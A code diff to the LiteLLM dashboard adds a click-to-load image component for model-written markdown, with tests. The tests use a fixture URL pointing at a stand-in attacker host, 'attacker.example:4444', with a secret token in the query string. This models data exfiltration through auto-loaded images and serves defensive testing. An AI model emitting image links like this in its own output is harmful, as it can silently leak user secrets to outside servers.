diff --git a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx index bd6a4bc49a4..fb29550aeb4 100644 --- a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx +++ b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx @@ -14,6 +14,7 @@ import { EndpointType } from "@/components/chat_ui/mode_endpoint_mapping"; import MCPEventsDisplay from "@/components/chat_ui/MCPEventsDisplay"; import type { MCPEvent } from "@/components/mcp_tools/types"; import ReasoningContent from "@/components/chat_ui/ReasoningContent"; +import { MarkdownImage } from "@/components/chat_ui/MarkdownImage"; import ResponseMetrics from "@/components/chat_ui/ResponseMetrics"; import ResponsesImageRenderer from "./ResponsesImageRenderer"; import { SearchResultsDisplay } from "./SearchResultsDisplay"; @@ -165,6 +166,7 @@ function ChatMessageBubble({ ); }, pre: ({ node, ...props }) =>
,
+                  img: MarkdownImage,
                 }}
               >
                 {typeof message.content === "string" ? message.content : ""}
diff --git a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx
index bed469d10c6..897d29ddba6 100644
--- a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx
+++ b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx
@@ -7,6 +7,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
 import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
 import ChatImageRenderer from "../../chat_ui/ChatImageRenderer";
 import ReasoningContent from "@/components/chat_ui/ReasoningContent";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
 import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
 import { SearchResultsDisplay } from "../../chat_ui/SearchResultsDisplay";
 import type { MessageType } from "@/components/chat_ui/types";
@@ -93,6 +94,7 @@ export function MessageDisplay({ messages, isLoading }: MessageDisplayProps) {
             );
           },
           pre: ({ node, ...props }) => 
,
+          img: MarkdownImage,
         }}
       >
         {typeof message.content === "string" ? message.content : ""}
diff --git a/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx b/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx
index 38320576b4b..e40f81c1d44 100644
--- a/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx
+++ b/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx
@@ -6,6 +6,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
 
 import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
 import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
 import { Message } from "./types";
 
 interface MessageBubbleProps {
@@ -87,6 +88,7 @@ const MessageBubble: React.FC = ({ message }) => {
                   );
                 },
                 pre: ({ node, ...props }) => 
,
+                img: MarkdownImage,
               }}
             >
               {message.content}
diff --git a/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx b/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx
index 107987dd1a5..3533dcfbaf1 100644
--- a/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx
+++ b/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx
@@ -1,5 +1,6 @@
 import React, { useEffect, useRef, useState } from "react";
-import ReactMarkdown from "react-markdown";
+import ReactMarkdown, { type Components } from "react-markdown";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
 import { Button } from "@/components/ui/button";
 import {
   Combobox,
@@ -68,40 +69,37 @@ const ToolCallDisplay: React.FC<{ step: ToolCallStep }> = ({ step }) => {
   );
 };
 
+const markdownComponents: Components = {
+  p: ({ children }) => 

{children}

, + strong: ({ children }) => {children}, + ul: ({ children }) =>
    {children}
, + ol: ({ children }) =>
    {children}
, + li: ({ children }) =>
  • {children}
  • , + h1: ({ children }) =>

    {children}

    , + h2: ({ children }) =>

    {children}

    , + h3: ({ children }) =>

    {children}

    , + code: ({ children, className }) => { + const isBlock = className?.includes("language-"); + return isBlock ? ( +
    +        {children}
    +      
    + ) : ( + {children} + ); + }, + table: ({ children }) => ( +
    + {children}
    +
    + ), + th: ({ children }) => {children}, + td: ({ children }) => {children}, + img: MarkdownImage, +}; + const MarkdownContent: React.FC<{ content: string }> = ({ content }) => ( -

    {children}

    , - strong: ({ children }) => {children}, - ul: ({ children }) =>
      {children}
    , - ol: ({ children }) =>
      {children}
    , - li: ({ children }) =>
  • {children}
  • , - h1: ({ children }) =>

    {children}

    , - h2: ({ children }) =>

    {children}

    , - h3: ({ children }) =>

    {children}

    , - code: ({ children, className }) => { - const isBlock = className?.includes("language-"); - return isBlock ? ( -
    -            {children}
    -          
    - ) : ( - {children} - ); - }, - table: ({ children }) => ( -
    - {children}
    -
    - ), - th: ({ children }) => ( - {children} - ), - td: ({ children }) => {children}, - }} - > - {content} -
    + {content} ); const UsageAIChatPanel: React.FC = ({ open, onClose, accessToken }) => { diff --git a/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx b/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx index 5b331cc81bc..ff292a2a8d2 100644 --- a/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx +++ b/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx @@ -15,6 +15,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism"; import { useSyntaxTheme } from "@/hooks/useSyntaxTheme"; import ReasoningContent from "@/components/chat_ui/ReasoningContent"; +import { MarkdownImage } from "@/components/chat_ui/MarkdownImage"; import MCPEventsDisplay from "@/components/chat_ui/MCPEventsDisplay"; import ResponseMetrics from "@/components/chat_ui/ResponseMetrics"; import { ChatMessage } from "./types"; @@ -69,6 +70,7 @@ function MarkdownCodeRenderer({ const markdownComponents: Components = { code: MarkdownCodeRenderer, + img: MarkdownImage, pre: ({ node, ...props }) =>
    ,
       p: ({ node, ...props }) => 

    , ul: ({ node, ...props }) =>

      , @@ -81,11 +83,6 @@ const markdownComponents: Components = { td: ({ node, ...props }) => , }; -const markdownWithoutImages: Components = { - ...markdownComponents, - img: ({ alt }) => {alt || "Image omitted"}, -}; - interface UserBubbleProps { message: ChatMessage; onEdit?: (messageId: string, newContent: string) => void; @@ -207,21 +204,13 @@ function UserBubble({ message, onEdit, isStreaming }: UserBubbleProps) { interface AssistantBubbleProps { message: ChatMessage; - allowImages: boolean; isLastMessage: boolean; isStreaming: boolean; isTypingIndicator: boolean; mcpEvents?: ChatMessage["mcpEvents"]; } -function AssistantBubble({ - message, - allowImages, - isLastMessage, - isStreaming, - isTypingIndicator, - mcpEvents, -}: AssistantBubbleProps) { +function AssistantBubble({ message, isLastMessage, isStreaming, isTypingIndicator, mcpEvents }: AssistantBubbleProps) { const [reasoningKey, setReasoningKey] = useState(0); const prevStreamingRef = useRef(isStreaming); @@ -262,10 +251,7 @@ function AssistantBubble({ ))} - + {mainContent} {stoppedSuffix && [stopped]} @@ -421,7 +407,6 @@ interface Props { interface ChatMessageContentProps { message: ChatMessage; - allowImages?: boolean; isStreaming?: boolean; isLastMessage?: boolean; onEditMessage?: (messageId: string, newContent: string) => void; @@ -429,7 +414,6 @@ interface ChatMessageContentProps { export function ChatMessageContent({ message, - allowImages = true, isStreaming = false, isLastMessage = true, onEditMessage, @@ -445,7 +429,6 @@ export function ChatMessageContent({ return ( ({ + ...(await importOriginal()), + modelHubCall: vi.fn().mockResolvedValue({ data: [{ model_group: "gpt-4o-mini" }] }), + usageAiChatStream: vi.fn(async (...args: Parameters) => { + const [, , , onChunk, onDone] = args; + onChunk(MODEL_OUTPUT); + onDone(); + }), +})); + +async function expectClickToLoad() { + const load = await screen.findByRole("button", { name: /attacker\.example:4444 Load image/ }); + expect(screen.queryByRole("img")).not.toBeInTheDocument(); + + fireEvent.click(load); + + expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC); +} + +describe("model output images are click-to-load in every markdown renderer", () => { + it("chat page assistant bubble", async () => { + renderWithProviders( + , + ); + await expectClickToLoad(); + }); + + it("playground chat bubble", async () => { + renderWithProviders( + , + ); + await expectClickToLoad(); + }); + + it("playground compare view", async () => { + renderWithProviders( + , + ); + await expectClickToLoad(); + }); + + it("prompt editor conversation bubble", async () => { + renderWithProviders(); + await expectClickToLoad(); + }); + + it("reasoning content", async () => { + renderWithProviders(); + await expectClickToLoad(); + }); + + it("usage Ask AI panel", async () => { + renderWithProviders(); + fireEvent.change(screen.getByPlaceholderText("Ask about your usage..."), { target: { value: "Weekly status?" } }); + fireEvent.click(screen.getByRole("button", { name: "Send" })); + await expectClickToLoad(); + + fireEvent.change(screen.getByPlaceholderText("Ask about your usage..."), { target: { value: "And next week?" } }); + expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC); + }); +}); diff --git a/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.test.tsx b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.test.tsx new file mode 100644 index 00000000000..5166767d3f5 --- /dev/null +++ b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.test.tsx @@ -0,0 +1,64 @@ +import { fireEvent, render, screen } from "@testing-library/react"; +import { describe, expect, it, vi } from "vitest"; +import type React from "react"; +import { MarkdownImage } from "./MarkdownImage"; + +const REMOTE_SRC = "http://attacker.example:4444/chart.png?token=secret"; + +describe("MarkdownImage", () => { + it("renders a placeholder naming the host instead of an image until clicked", () => { + render(); + + expect(screen.queryByRole("img")).not.toBeInTheDocument(); + const load = screen.getByRole("button", { name: "Weekly chart attacker.example:4444 Load image" }); + expect(load).toHaveAttribute("title", REMOTE_SRC); + + fireEvent.click(load); + + expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC); + expect(screen.queryByRole("button")).not.toBeInTheDocument(); + }); + + it("loads the image instead of following a link that wraps it", () => { + const onAnchorClick = vi.fn((event: React.MouseEvent) => event.defaultPrevented); + render( + + + , + ); + + fireEvent.click(screen.getByRole("button", { name: "Weekly chart attacker.example:4444 Load image" })); + + expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC); + expect(onAnchorClick).toHaveReturnedWith(true); + }); + + it("falls back to the raw source when it has no host", () => { + render(); + render(); + + expect(screen.getByRole("button", { name: "Image /static/logo.png Load image" })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Image mailto:ops@example.com Load image" })).toBeInTheDocument(); + }); + + it("labels an inline data image without showing its payload", () => { + const payload = `data:image/png;base64,${"A".repeat(4096)}`; + render(); + + const load = screen.getByRole("button", { name: "Weekly chart inline image Load image" }); + expect(load).not.toHaveAttribute("title"); + expect(load).not.toHaveTextContent("base64"); + + fireEvent.click(load); + + expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", payload); + }); + + it("renders only the alt text when there is no source", () => { + render(); + + expect(screen.getByText("Weekly chart")).toBeInTheDocument(); + expect(screen.queryByRole("button")).not.toBeInTheDocument(); + expect(screen.queryByRole("img")).not.toBeInTheDocument(); + }); +}); diff --git a/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.tsx b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.tsx new file mode 100644 index 00000000000..f44e5a093e0 --- /dev/null +++ b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.tsx @@ -0,0 +1,49 @@ +import { ImageIcon } from "lucide-react"; +import React, { useState } from "react"; + +import { Button } from "@/components/ui/button"; + +type MarkdownImageProps = Pick, "src" | "alt" | "title">; + +type ImageSource = { readonly label: string; readonly tooltip: string | undefined }; + +function describeImageSource(src: string): ImageSource { + if (src.startsWith("data:")) { + return { label: "inline image", tooltip: undefined }; + } + const host = URL.canParse(src) ? new URL(src).host : ""; + return { label: host || src, tooltip: src }; +} + +export function MarkdownImage({ src, alt, title }: MarkdownImageProps) { + const [loaded, setLoaded] = useState(false); + + if (typeof src !== "string" || src === "") { + return {alt}; + } + + if (loaded) { + // eslint-disable-next-line @next/next/no-img-element -- the host is whatever the model wrote, which next/image cannot allowlist + return {alt; + } + + const source = describeImageSource(src); + return ( + + ); +} diff --git a/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx b/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx index 73c952eab3a..66f366e082a 100644 --- a/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx +++ b/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx @@ -7,6 +7,7 @@ import { useSyntaxTheme } from "@/hooks/useSyntaxTheme"; import { ChevronDown, ChevronRight, Lightbulb } from "lucide-react"; import { Button } from "@/components/ui/button"; import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible"; +import { MarkdownImage } from "./MarkdownImage"; interface ReasoningContentProps { reasoningContent: string; @@ -77,6 +78,7 @@ const ReasoningContent: React.FC = ({ reasoningContent }) ); }, pre: ({ node, ...props }) =>
      ,
      +                img: MarkdownImage,
                     }}
                   >
                     {reasoningContent}
      diff --git a/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx b/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx
      index 826db57a736..dd417c2b177 100644
      --- a/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx
      +++ b/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx
      @@ -40,12 +40,7 @@ export function LiteAdminConversation({ entries, thinking, open, reviewRef, onAn
                   {entries.map((entry) => (
                     
                       {entry.kind === "message" && (
      -                  
      +                  
                       )}
                       {entry.kind === "action" && (